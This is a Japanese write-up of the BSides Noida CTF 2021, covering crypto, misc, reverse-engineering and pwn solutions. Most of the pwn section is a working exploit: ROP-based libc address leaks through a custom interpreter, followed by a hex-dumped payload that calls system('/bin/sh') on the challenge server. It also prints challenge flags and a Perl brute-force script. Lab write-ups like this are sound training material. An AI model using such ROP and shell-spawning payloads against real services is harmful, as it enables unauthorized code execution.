English version: BSides Noida CTF 2021 writeup (English version) - Qiita
概要
BSides Noida CTF 2021 (2021/08/07 19:30 ~ 2021/08/08 19:30 (JST)) (CTFtime.org) に1人チームで参加した。
3748点を獲得し、正の点数を獲得した411チーム中21位だった。
解けた問題と解いた時刻は以下の通りである。
Challenge | Category | Value | Time (JST) |
---|---|---|---|
Baby Web | Web | 420 | 2021/08/07 23:18:10 |
Xoro | Crypto | 388 | 2021/08/07 23:37:15 |
MACAW | Crypto | 445 | 2021/08/07 23:58:05 |
Psst | Misc | 159 | 2021/08/08 00:23:49 |
Welcome | Misc | 50 | 2021/08/08 00:48:38 |
Sanity | Reverse | 437 | 2021/08/08 01:56:19 |
My Artwork | Misc | 287 | 2021/08/08 06:53:39 |
Rev-Weird Interpreter | Reverse | 494 | 2021/08/08 09:53:12 |
Pwn-Weird Interpreter | Pwn | 495 | 2021/08/08 14:22:15 |
Macaw_Revenge | Crypto | 473 | 2021/08/08 15:23:01 |
Farewell | Misc | 50 | 2021/08/08 16:32:15 |
FeedBack Form | Misc | 50 | 2021/08/08 18:17:59 |
解けた問題
Crypto
Xoro
TCPサーバの接続情報と、サーバのプログラムxoro.py
が与えられた。
xoro.py
は、以下のような処理をしていた。
- 32バイトのランダムな鍵を生成する
- 入力を受け付ける
- 「入力の後に
FLAG
を連結したもの」と「鍵を繰り返したもの」のxorをとり、出力する
32バイトの0x00を送ることで、以下のように最初の32バイトに鍵をそのまま出力してくれる。
===== WELCOME TO OUR ENCRYPTION SERVICE =====
[plaintext (hex)]> 0000000000000000000000000000000000000000000000000000000000000000
[ciphertext (hex)]> 26b1c562e6f9ddf4dadf1ed4749af310b94c313357c28dd66f97fabce7b1e5d364e28b0d8f9dbc8fb2b0698b17fb9d4fc023446c35b0e8b704c8aef4a2eebd9c74eefa43d9d8a0
See ya ;)
CyberChefの説明ページにある例「Perform AES decryption, extracting the IV from the beginning of the cipher stream」を参考に最初の32バイトをKeyとしたXORを行うと、以下のOutputが得られた。
BSNoida{how_can_you_break_THE_XOR_?!?!}Òk.|
余計な部分を外すことで、flagが得られた。
BSNoida{how_can_you_break_THE_XOR_?!?!}
MACAW
TCPサーバの接続情報と、サーバのプログラムMACAW.py
が与えられた。
MACAW.py
は、以下の処理を行う。
-
secret_msg
を出力する - 3回まで、以下の処理のいずれかを選択させ、実行する
-
secret_msg
でない入力データをkey
とiv
を用いてAES.MODE_CBC
で暗号化し、最後のブロックとiv
を出力する - データを入力させ、それが
secret_tag
と一致したらFLAG
を出力する
-
iv, key, secret_msg, secret_tag
の性質については読み取れなかったが、
iv
とkey
は固定であり、secret_msg
を暗号化した最後のブロックがsecret_tag
であると予想した。
さて、CBCモードでは、「前の暗号文ブロック(もしくはIV)と今の平文ブロックのXOR」を暗号化したものが、
今の暗号文ブロックになる。
(暗号利用モード - Wikipedia)
今回はIVが固定のようなので、あらかじめ平文ブロックを「暗号化で使われるIVと、使いたいIV(前の暗号化ブロック)のXOR」
とXORしておくことで、暗号化時に実質使うIVを指定し、分割して暗号化を行えるようになる。
実際に、以下のようにしてsecret_msg
の暗号化を行った。
平文ブロック | 平文ブロック XOR 前の暗号文ブロック XOR IV | 暗号文ブロック |
---|---|---|
(IV) | 4aa8d73c2f644a6cecf9cf1af82ebbe9 |
|
57656c636f6d6520746f204253696465 |
57656c636f6d6520746f204253696465 |
8992b52f29709147a0aa1e084a3bfe19 |
734e6f696461212120466f6c6c6f7720 |
b0740d7a6275fa0a6c15be7ede7a32d0 |
f25d4a2c1c95c62576b48019d63e4f00 |
7573206f6e20547769747465722e2e2e |
cd86bd7f5dd1d83ef3393b665c3edac7 |
eae429a7fdc8b0d6161d02b9cce52ba9 |
最終的に得られたデータeae429a7fdc8b0d6161d02b9cce52ba9
を用いることで、flagが得られた。
BSNoida{M4c4w5_4r3_4d0r4b13}
Macaw_Revenge
TCPサーバの接続情報と、サーバのプログラムmacaw_revenge.py
が与えられた。
macaw_revenge.py
は、以下の処理を行う。
-
iv
(16バイト)、key
(16バイト)、secret_msg
(48バイト)をランダムに設定する -
secret_msg
をkey
とiv
を用いてAES.MODE_CBC
で暗号化した最後のブロックをsecret_tag
とする -
secret_msg
を出力する - 3回まで、以下の処理のいずれかを選択させ、実行する
-
secret_msg
でない入力データをkey
とiv
を用いてAES.MODE_CBC
で暗号化し、最後のブロックとiv
を出力する - データを入力させ、それが
secret_tag
と一致したらFLAG
を出力する
-
さて、CBCモードでは、「前の暗号文ブロック(もしくはIV)と今の平文ブロックのXOR」を暗号化したものが、
今の暗号文ブロックになる。
(暗号利用モード - Wikipedia)
したがって、IVが固定の時、平文ブロックにIVと前の暗号文ブロックをXORしたものを暗号化すると、
IVが2回XORされて相殺され、この平文ブロックが前の暗号文ブロックの次に来た状態で暗号化できる。
この性質を利用し、以下の手順でflagを得ることができた。
-
secret_msg
の最後以外のブロックを暗号化させる。 - 1で出力された暗号文ブロックと
iv
をsecret_msg
の最後のブロックとXORしたものを暗号化させる。 - 2で出力された暗号文が
secret_tag
のはずなので、入力する。
BSNoida{M4c4w5_4r3_pr3tty_l0ud}
Misc
Welcome
以下の問題文が与えられた。
Welcome To BSides Noida CTF. Good Luck and Have fun :) Flag : BSNoida{W3lc0me_To_BSidesNoida_CTF}
問題文中のflag :
の後の部分がflagになっていた。
BSNoida{W3lc0me_To_BSidesNoida_CTF}
FeedBack Form
Googleフォームのリンクが与えられた。
リンク先は1ページのアンケートで、回答を送信するとflagが表示された。
BSidesNOIDA{s33_y0u_n3xt_t1m3}
Farewell
ジグソーパズルをプレイできるWebページへのリンクが与えられた。
パズルを解くと、アニメ関係と思われる画像を背景に赤い文字が書かれた画像になった。
この画像の文字の部分は以下のような感じだった。
書かれている文字を順番に並べると以下のようになるが、これはflagではなかった。
BSNoida{Th4nk5_f0rpl4y1ng_See_y0u_n3xty34r_By3}
この文字列に_
を2個補うことで、flagが得られた。
BSNoida{Th4nk5_f0r_pl4y1ng_See_y0u_n3xt_y34r_By3}
Psst
ファイルpsst.tar.gz
が与えられた。
7-Zipで展開すると、ファイルpsst.tar
が出てきた。
psst.tar
を7-Zipで展開しようとすると、パスが長すぎるというエラーになった。
psst.tar
にstrings
コマンドをかけると、後半にreadme_(数字).txt
で終わるパスが見えた。
さらに、バイナリエディタでpsst.tar
からflagに含まれるであろう{
を探すと、
まわりに0x00が多い中、これ1文字と改行(0x0A)がポツンと入っている様子がみられた。
そこで、以下のようにしてpsst.tar
中に1文字で入っているデータを抽出した。
grep
の-x
は、行に正規表現で完全マッチさせるオプションである。
strings -n 1 psst.tar > psst-strings-n1.txt
grep -x . psst-strings-n1.txt > psst-strings-n1-onecharlines.txt
得られたデータに対し、CyberChefで改行を消してReverseすることで、flagが得られた。
BSNoida{d1d_y0u_u53_b45h_5cr1pt1ng_6f7220737461636b6f766572666c6f773f}
My Artwork
テキストファイルart.TURTLE
が与えられた。
このファイル中には、REPEAT
で始まる行が28行あった。
「TURTLE interpreter」でググると、ここが見つかった。
Free Online Turtle Graphics - logointerpreter.com - Surf your logo code! / Logo editor
ここにREPEAT
で始まる1行をコピペしてAnimateボタンを押すことで、1文字が描かれるようだった。
28行を順にコピペして処理し、描かれた文字を並べると、以下のようになった。
CODE_IS_BEAUTY_BEAUTY_ISCODE
この文字列をBSNoida{}
で囲み、さらに_
を補うことで、flagが得られた。
BSNoida{CODE_IS_BEAUTY_BEAUTY_IS_CODE}
Pwn
Pwn-Weird Interpreter
TCPサーバの接続情報と、ファイルWeird_Interpreter.zip
が与えられた。
これらは問題Rev-Weird Interpreterで与えられたものと同じであった。
同問題を解く過程で、プログラムを実行する関数とその性質(スタック上のデータの配置など)がわかっている。
FUN_00102a45
関数においてメッセージを出力する部分のコードは、
00102ac2 48 8d 35 LEA RSI,[s_Enter_ur_Code_:_001030a1] = "Enter ur Code : "
d8 05 00 00
00102ac9 48 8d 3d LEA RDI,[std::cout] =
b0 26 00 00
try { // try from 00102ad0 to 00102b0b has its CatchHandler @
LAB_00102ad0 XREF[1]: 001033dc(*)
00102ad0 e8 2b f6 CALL <EXTERNAL>::std::operator<< basic_ostream * operator<<(basic
ff ff
となっていた。したがって、RSI
に出力したいデータのアドレスを入れ、0x2ac9番地に制御を移せば、
任意のデータを出力できるはずである。
RSI
の設定は、0x29f1番地のpop rsi; pop r15; ret
というgadgetを用いた
ROP (Return-Oriented Programming) でできそうである。
ROPを行うため、一度に複数の値を構築できる以下のプログラムを用意した。
num_gen_multi.pl
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV < 1) {
die "Usage: perl num_gen_multi.pl target_number [target_number...]\n";
}
my @targets = ();
for (my $i = 0; $i < @ARGV; $i++) {
push(@targets, int($ARGV[$i]));
}
print "a334"; # nandeya hanshin kankei naiyaro
for (;;) {
my $proceed = 0;
for (my $i = 0; $i < @targets; $i++) {
my $no = $i + ($i < 3 ? 0 : 2); # reserve 3 and 4
if ($targets[$i] & 1) {printf "a%d%d3", $no, $no; }
$targets[$i] >>= 1;
if ($targets[$i] > 0) { $proceed = 1; }
}
if ($proceed) {
print "a333";
} else {
last;
}
}
リターンアドレス以降のスタックを以下のように設定することで、
0x5018番地に格納されたsetvbuf
関数のアドレスを出力できる。
ただし、「差」はリターンアドレスとの差である。
0x29f1 (差 0x11b)
0x5018 (差 0x250c)
something
0x2ac9 (差 0x43)
さらに、CS50 IDEのGDB上で試した結果、
スタック上でリターンアドレスの直後にプログラムが格納されており、
実行開始後すぐにスタックを書き換えてしまうとプログラムが壊れてしまった。
これを防ぐため、プログラムの冒頭に意味のない命令を入れてROP用のデータを格納する領域を確保した。
以下のプログラムは、
- ROP用のデータ領域
- リターンアドレスの上位6バイトのコピー
- リターンアドレスに足したり引いたりする値の構築
- 構築した値とリターンアドレスの演算
という構造になっており、setvbuf
関数のアドレスを出力する。
00000000 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000010 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000020 61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82 |a.0.a.0.a.0.a.0.|
00000030 61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34 |a.0.a.0.a011a334|
00000040 61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33 |a003a223a333a003|
00000050 61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33 |a223a333a113a333|
00000060 61 30 30 33 61 31 31 33 61 33 33 33 61 30 30 33 |a003a113a333a003|
00000070 61 33 33 33 61 33 33 33 61 32 32 33 61 33 33 33 |a333a333a223a333|
00000080 61 33 33 33 61 30 30 33 61 31 31 33 61 33 33 33 |a333a003a113a333|
00000090 61 33 33 33 61 31 31 33 61 33 33 33 61 33 33 33 |a333a113a333a333|
000000a0 61 33 33 33 61 31 31 33 73 33 33 33 73 8c 80 32 |a333a113s333s..2|
000000b0 61 84 80 31 73 80 80 30 0a |a..1s..0.|
同様に、以下のプログラムは、0x4fe0番地に格納された__libc_start_main
関数のアドレスを出力する。
00000000 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000010 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000020 61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82 |a.0.a.0.a.0.a.0.|
00000030 61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34 |a.0.a.0.a011a334|
00000040 61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33 |a003a223a333a003|
00000050 61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33 |a223a333a113a333|
00000060 61 30 30 33 61 33 33 33 61 30 30 33 61 31 31 33 |a003a333a003a113|
00000070 61 33 33 33 61 33 33 33 61 31 31 33 61 32 32 33 |a333a333a113a223|
00000080 61 33 33 33 61 31 31 33 61 33 33 33 61 30 30 33 |a333a113a333a003|
00000090 61 33 33 33 61 33 33 33 61 31 31 33 61 33 33 33 |a333a333a113a333|
000000a0 61 33 33 33 61 33 33 33 61 31 31 33 73 33 33 33 |a333a333a113s333|
000000b0 73 8c 80 32 61 84 80 31 73 80 80 30 0a |s..2a..1s..0.|
これらのプログラムをTera Termの「ファイル送信」で送信し、
サーバの出力をWiresharkで観測することで、これらの関数のアドレスを知ることができた。
その結果、setvbuf
関数のアドレスは0x7f0bedeed630
、
__libc_start_main
関数のアドレスは0x7f98159babc0
であった。
これらの関数のアドレスは16進数の下位3桁を除いてランダムであると考えられるが、
1個ずつlibc-databaseに入力して調べた結果、
唯一の共通する結果としてlibc6_2.32-0ubuntu3.1_amd64
が得られた。
このサイトの出力より、
__libc_start_main_ret
は0x28cb2
、str_bin_sh
は0x1ae41f
、system
は0x503c0
である。
これらの情報を使うことで、system("/bin/sh")
を実行し、シェルを起動することができそうである。
CS50 IDE上のGDBを用いて調べた結果、スタック上に__libc_start_main
関数内へ戻るアドレスがあったが、
RSP
とこのアドレスの格納位置の差は入力の長さによって変化した。
そこで、c
命令を実行するとプログラムの実行が終了することを利用し、
入力するプログラムにパディングを加えて長さを統一した状態で攻略を進めることにした。
入力の長さを512バイトに設定した時、このアドレスはRSP + 0x308
、すなわちRAM[0x17c]
から格納されていた。
このアドレスが__libc_start_main_ret
に相当するので、
これを基点にしてstr_bin_sh
やsystem
のアドレスを作ることができる。
ただし、今回のシステムで加減算は16ビットでしかできず、下位16ビットとその上の間の繰り上がりへの対応は難しい。
幸い、アドレスが一様分布だと仮定するとこの繰り上がりにより失敗する確率は1/2であったため、運に頼ることにした。
最終的に、以下のようなデータを構築することで、ROPによりsystem("/bin/sh")
を呼び出すことができる。
0x29f3番地はpop rdi; ret
、0x29f4番地はret
というgadgetであり、
0x29f4番地はスタックのアラインメント調整のため入れてある。
0x29f3 (リターンアドレスとの差 0x119)
str_bin_sh (__libc_start_main_retとの差 0x18576d)
0x29f4 (リターンアドレスとの差 0x118)
system (__libc_start_main_retとの差 0x2770e)
以下がこのデータを構築するプログラムである。
payload-system.bin
00000000 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000010 61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30 |a000a000a000a000|
00000020 61 89 30 81 61 8a 30 82 61 8b 30 83 61 35 33 33 |a.0.a.0.a.0.a533|
00000030 61 36 33 33 61 33 33 34 61 35 35 33 61 33 33 33 |a633a334a553a333|
00000040 61 36 36 33 61 33 33 33 61 31 31 33 61 35 35 33 |a663a333a113a553|
00000050 61 36 36 33 61 33 33 33 61 30 30 33 61 31 31 33 |a663a333a003a113|
00000060 61 32 32 33 61 35 35 33 61 36 36 33 61 33 33 33 |a223a553a663a333|
00000070 61 30 30 33 61 31 31 33 61 32 32 33 61 33 33 33 |a003a113a223a333|
00000080 61 31 31 33 61 35 35 33 61 33 33 33 61 31 31 33 |a113a553a333a113|
00000090 61 35 35 33 61 33 33 33 61 33 33 33 61 30 30 33 |a553a333a333a003|
000000a0 61 31 31 33 61 35 35 33 61 36 36 33 61 33 33 33 |a113a553a663a333|
000000b0 61 35 35 33 61 36 36 33 61 33 33 33 61 35 35 33 |a553a663a333a553|
000000c0 61 36 36 33 61 33 33 33 61 33 33 33 61 35 35 33 |a663a333a333a553|
000000d0 61 36 36 33 61 33 33 33 61 36 36 33 61 33 33 33 |a663a333a663a333|
000000e0 61 35 35 33 61 36 36 33 73 33 33 33 73 88 80 30 |a553a663s333s..0|
000000f0 61 30 30 34 73 80 80 30 72 30 31 61 84 30 35 61 |a004s..0r01a.05a|
00000100 8c 30 36 61 31 31 34 72 30 31 61 85 30 32 61 30 |.06a114r01a.02a0|
00000110 30 34 61 8d 30 34 61 31 31 34 72 30 31 61 86 30 |04a.04a114r01a.0|
00000120 33 61 8e 30 33 61 31 31 34 72 30 31 61 87 30 33 |3a.03a114r01a.03|
00000130 61 8f 30 33 63 30 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |a.03c0----------|
00000140 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000150 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000160 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000170 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000180 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000190 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001a0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001b0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001c0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001d0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001e0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
000001f0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d |----------------|
00000200 0a |.|
このプログラムは、以下の処理をしている。
- ROP構築用の領域確保
- リターンアドレスの上位6バイトのコピー
- 各種値の構築
-
__libc_start_main_ret
の読み出しとコピー (値の加算を含む) - リターンアドレスから値を減算した値の構築
-
c
命令による実行終了
このプログラムを用いて、シェルを起動することに成功した。
ls
コマンドを実行すると、ファイルflag1.txt
とflag2.txt
があることがわかった。
cat
コマンドを用いてこれらの中身を出力させると、
flag1.txt
の中身は問題 Rev-Weird Interpreter のflagであり、flag2.txt
の中身がこの問題のflagだった。
BSNoida{b3d51a88e2d57cb1a62816f9b8131430}
Reverse
Sanity
ファイルSanity.zip
が与えられ、展開すると実行可能ファイルSanity.exe
が得られた。
Sanity.exe
をGhidraで逆コンパイルしてみると、
entry
関数からFUN_004011b0
関数が呼ばれており、
FUN_004011b0
関数から呼ばれているFUN_0040153f
関数がmain
関数に相当しそうであることが読み取れた。
ここまでの逆コンパイル結果
/* WARNING: Exceeded maximum restarts with more pending */
void entry(void)
{
__set_app_type(1);
FUN_004011b0();
__set_app_type(2);
FUN_004011b0();
/* WARNING: Could not recover jumptable at 0x00401320. Too many branches */
/* WARNING: Treating indirect jump as call */
atexit();
return;
}
void FUN_004011b0(void)
{
code *pcVar1;
int *piVar2;
undefined4 *puVar3;
UINT uExitCode;
tls_callback_0(0,2,0);
SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)&LAB_00401000);
FUN_00401a30();
FUN_00402240(DAT_00405a04);
FUN_00401690();
pcVar1 = _iob_exref;
if (DAT_00408020 != 0) {
DAT_00405a08 = DAT_00408020;
_setmode(*(int *)(_iob_exref + 0x10),DAT_00408020);
_setmode(*(int *)(pcVar1 + 0x30),DAT_00408020);
_setmode(*(int *)(pcVar1 + 0x50),DAT_00408020);
}
piVar2 = (int *)__p__fmode();
*piVar2 = DAT_00405a08;
FUN_00402040();
FUN_00401bc0();
puVar3 = (undefined4 *)__p__environ();
uExitCode = FUN_0040153f(DAT_00408004,DAT_00408000,*puVar3);
_cexit();
/* WARNING: Subroutine does not return */
ExitProcess(uExitCode);
}
FUN_0040153f
関数は以下のようになっており、
文字を出力したりSleep(100);
を呼んだりしながら入力データを1文字ずつチェックしている様子が読み取れた。
`FUN_0040153f`関数の逆コンパイル結果
undefined4 FUN_0040153f(void)
{
FILE *_File;
char cVar1;
uint uVar2;
uint uVar3;
char *pcVar4;
int iVar5;
undefined4 local_129;
undefined4 local_125;
undefined local_121;
byte local_120 [264];
undefined *local_18;
local_18 = &stack0x00000004;
FUN_00401bc0();
local_129 = 0x65486548;
local_125 = 0x69696f42;
local_121 = 0;
printf("Enter Flag : ");
scanf("%256s",local_120);
uVar3 = 0;
do {
uVar2 = 0xffffffff;
pcVar4 = s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880;
do {
if (uVar2 == 0) break;
uVar2 = uVar2 - 1;
cVar1 = *pcVar4;
pcVar4 = pcVar4 + 1;
} while (cVar1 != '\0');
if (~uVar2 - 1 <= uVar3) {
puts("\nCorrect");
return 0;
}
printf("\r%*s\r%s",9,&DAT_00406081,"Checking");
fflush((FILE *)(_iob_exref + 0x20));
uVar2 = (uint)((int)uVar3 >> 0x1f) >> 0x1d;
if ((byte)(s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880[uVar3] ^ local_120[uVar3]) !=
*(byte *)((int)&local_129 + ((uVar3 + uVar2 & 7) - uVar2))) {
puts("\nWrong");
return 0;
}
for (iVar5 = 0; iVar5 < 3; iVar5 = iVar5 + 1) {
Sleep(100);
_File = (FILE *)(_iob_exref + 0x20);
fputc(0x2e,_File);
fflush(_File);
}
uVar3 = uVar3 + 1;
} while( true );
}
flagと推測できる最初の数文字を入力して試してみると、
合っている文字数が多いほど出力のバイト数が増えることがわかった。
そこで、まずSleep(100);
を呼んでいる部分をNOPで埋める改造を行った。
すなわち、ファイルSanity.exe
の0x9b7バイト目から0x9beバイト目までの8バイトをバイナリエディタで0x90に書き換え、
Sanity-pat-ched.exe
という名前で保存した。
この部分は以下の部分に相当する。
また、ファイル名にpatched
を入れるとなぜか実行に管理者権限を要求されてしまうので、pat-ched
とした。
004015b7 e8 5c 27 CALL KERNEL32.DLL::Sleep void Sleep(DWORD dwMilliseconds)
00 00
004015bc 83 ec 04 SUB ESP,0x4
さらに、flagを1文字ずつ探索する以下のプログラムを書き、実行した。
bruteforce.pl
#!/usr/bin/perl
use strict;
use warnings;
my $target = "Sanity-pat-ched.exe";
sub query {
my $q = $_[0];
open(PROC, "echo $q | $target |") or die "open failed: $!\n";
my $data = "";
while (<PROC>) { $data .= $_; }
close(PROC);
return length($data);
}
my $char_to_use = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{}";
my $culen = length($char_to_use);
my $flag = "";
my $prev_len = &query($flag);
for (;;) {
my $found = 0;
for (my $i = 0; $i < $culen; $i++) {
my $c= substr($char_to_use, $i, 1);
my $flag_candidate = $flag . $c;
my $l = &query($flag_candidate);
if ($l > $prev_len) {
$flag .= $c;
print STDERR "$c\n";
$prev_len = $l;
if ($c eq "}") {
print "$flag\n";
exit;
}
$found = 1;
last;
}
}
unless ($found) {
print STDERR "NOT FOUND\n";
print "$flag\n";
exit;
}
}
結果、flagが得られた。
BSNoida{Ezzzzzzzzzzzzzzzzzz_Flag}
Rev-Weird Interpreter
TCPサーバの接続情報と、ファイルWeird_Interpreter.zip
が与えられた。
Weird_Interpreter.zip
を展開すると、サーバのプログラム(ELFファイル)Interpreter
が出てきた。
Interpreter
をGhidraで逆コンパイルすると、以下のような処理をしていた。
-
entry
関数から、FUN_00102a45
などを引数として__libc_start_main
関数を呼び出す -
FUN_00102a45
関数において、メッセージの出力、プログラムの読み込み、FUN_00102750
関数の実行を行う -
FUN_00102750
関数において、プログラムの実行を行う
`FUN_00102a45`関数
/* WARNING: Could not reconcile some variable overlaps */
undefined4 FUN_00102a45(void)
{
long lVar1;
char *__src;
undefined4 uVar2;
long in_FS_OFFSET;
code *pcStack80;
char *local_48;
undefined8 local_40;
char local_38 [24];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
pcStack80 = (code *)0x102a78;
setvbuf(stdin,(char *)0x0,2,0);
pcStack80 = (code *)0x102a93;
setvbuf(stdout,(char *)0x0,2,0);
pcStack80 = (code *)0x102aae;
setvbuf(stderr,(char *)0x0,2,0);
local_48 = local_38;
local_40 = 0;
local_38[0] = '\0';
/* try { // try from 00102ad0 to 00102b0b has its CatchHandler @ 00102b2e */
pcStack80 = (code *)0x102ad5;
std::operator<<((basic_ostream *)std::cout,"Enter ur Code : ");
pcStack80 = (code *)0x102ae5;
std::operator>>((basic_istream *)std::cin,(basic_string *)(&pcStack80 + 1));
__src = local_48;
lVar1 = -((long)((int)local_40 + 1) + 0xfU & 0xfffffffffffffff0);
*(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b04;
strcpy((char *)((long)&pcStack80 + lVar1 + 8),__src);
*(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b0c;
uVar2 = FUN_00102750((long)&pcStack80 + lVar1 + 8);
*(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b17;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar2;
}
/* WARNING: Subroutine does not return */
*(code **)((long)&pcStack80 + lVar1) = FUN_00102b47;
__stack_chk_fail();
}
`FUN_00102750`関数
/* WARNING: Type propagation algorithm not settling */
undefined8 FUN_00102750(char *param_1)
{
bool bVar1;
byte bVar2;
size_t sVar3;
undefined8 uVar4;
int iVar5;
byte bVar6;
int iVar7;
byte bVar8;
byte bVar9;
long in_FS_OFFSET;
undefined8 local_a0;
undefined6 uStack150;
undefined8 uStack152;
undefined8 local_90;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined4 local_60;
undefined local_58 [16];
undefined local_48;
long local_40;
local_40 = *(long *)(in_FS_OFFSET + 0x28);
local_a0 = 0;
uStack152 = 0;
local_90 = 0;
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
sVar3 = strlen(param_1);
uStack152 = CONCAT62(uStack150,1);
bVar8 = 0;
bVar9 = 0;
bVar1 = true;
iVar5 = 0;
while (bVar1) {
bVar2 = param_1[iVar5] | 0x20;
iVar7 = iVar5 + 2;
bVar6 = param_1[iVar5 + 1] - 0x30;
if (bVar2 != 99) {
bVar9 = param_1[iVar7] - 0x30;
iVar7 = iVar5 + 3;
if (bVar2 != 0x77 && bVar2 != 0x72) {
bVar8 = param_1[iVar5 + 3] - 0x30;
iVar7 = iVar5 + 4;
}
if ((3 < bVar6 && 3 < bVar9) && (3 < bVar8)) {
std::operator<<((basic_ostream *)std::cerr,"Invalid Register\n");
/* WARNING: Subroutine does not return */
exit(-1);
}
}
switch(bVar2) {
case 0x61:
*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(short *)((long)&local_a0 + (long)(char)bVar8 * 2) +
*(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
break;
default:
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cerr,"Invalid Opcode\n",0xf);
/* WARNING: Subroutine does not return */
exit(-1);
case 99:
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,"\nChecking...\n",0xd);
for (iVar5 = 0; iVar5 < 0x10; iVar5 = iVar5 + 1) {
local_58[iVar5] =
(char)*(undefined2 *)((long)&stack0xffffffffffffff68 + (long)((char)bVar6 + iVar5) * 2)
;
}
local_48 = 0;
FUN_0010234f(local_58);
uVar4 = 1;
goto LAB_001029d6;
case 100:
*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) /
*(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
break;
case 0x6d:
*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(short *)((long)&local_a0 + (long)(char)bVar8 * 2) *
*(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
break;
case 0x72:
*(undefined2 *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(undefined2 *)
((long)&stack0xffffffffffffff68 +
(long)*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) * 2);
break;
case 0x73:
*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) -
*(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
break;
case 0x77:
*(undefined2 *)
((long)&stack0xffffffffffffff68 +
(long)*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) * 2) =
*(undefined2 *)((long)&local_a0 + (long)(char)bVar9 * 2);
}
if ((int)sVar3 <= iVar7) {
bVar1 = false;
}
DAT_001054f4 = DAT_001054f4 + 1;
iVar5 = iVar7;
if (0x54 < DAT_001054f4) {
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cerr,"Too many opcodes\n",0x11);
bVar1 = false;
}
}
uVar4 = 0;
LAB_001029d6:
if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar4;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
FUN_00102750
関数より、プログラムでは以下の命令が使えることが読み取れた。
a v1 v2 v3 : reg[v1] = reg[v3] + reg[v2]
c v1 : RAM[v1] からの16要素をチェックし、実行を終了
d v1 v2 v3 : reg[v1] = reg[v2] / reg[v3]
m v1 v2 v3 : reg[v1] = reg[v3] * reg[v2]
r v1 v2 : reg[v1] = RAM[reg[v2]]
s v1 v2 v3 : reg[v1] = reg[v2] - reg[v3]
w v1 v2 : RAM[reg[v1]] = reg[v2]
ただし、
-
v1
、v2
、v3
はそれぞれ1バイトで、指定したい値に0x30を足したものである -
reg
およびRAM
の要素はそれぞれ16ビット -
v1
、v2
、v3
の示す値が全て4以上の場合、エラーで実行終了となる -
c
命令による「チェック」は、FUN_0010234f
関数で行われる
`FUN_0010234f`関数
void FUN_0010234f(char *param_1)
{
long *plVar1;
int iVar2;
long lVar3;
long *plVar4;
undefined8 uVar5;
long in_FS_OFFSET;
char *local_248;
long local_240;
char local_238;
undefined7 uStack567;
long local_228 [9];
locale local_1e0 [48];
__basic_file<char> local_1b0 [136];
